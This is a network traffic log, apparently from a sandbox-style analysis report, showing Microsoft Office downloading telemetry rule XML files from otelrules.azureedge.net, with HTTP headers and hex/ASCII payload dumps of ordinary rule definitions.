DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 08:16:22 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-23 08:16:22 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-23 08:16:23 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: f3d0c3d3-f01e-003c-676b-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081625Z-178bfbc474bbbqrhhC1NYCvw7400000004ag000000007xuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081625Z-15b8b599d889gj5whC1TEBfyk000000002k0000000003a4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081625Z-174c587ffdfn4nhwhC1TEB2nbc00000002n000000000m5wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: cbab64bb-001e-000b-3f4c-3c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081625Z-15b8b599d88s6mj9hC1TEBur3000000002mg000000000b3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081625Z-178bfbc474bv7whqhC1NYC1fg40000000450000000009mcp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:27 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:27 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081627Z-174c587ffdf8lw6dhC1TEBkgs800000002n000000000c7du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:27 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:27 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:27 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081627Z-178bfbc474bxkclvhC1NYC69g4000000043g000000007t2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
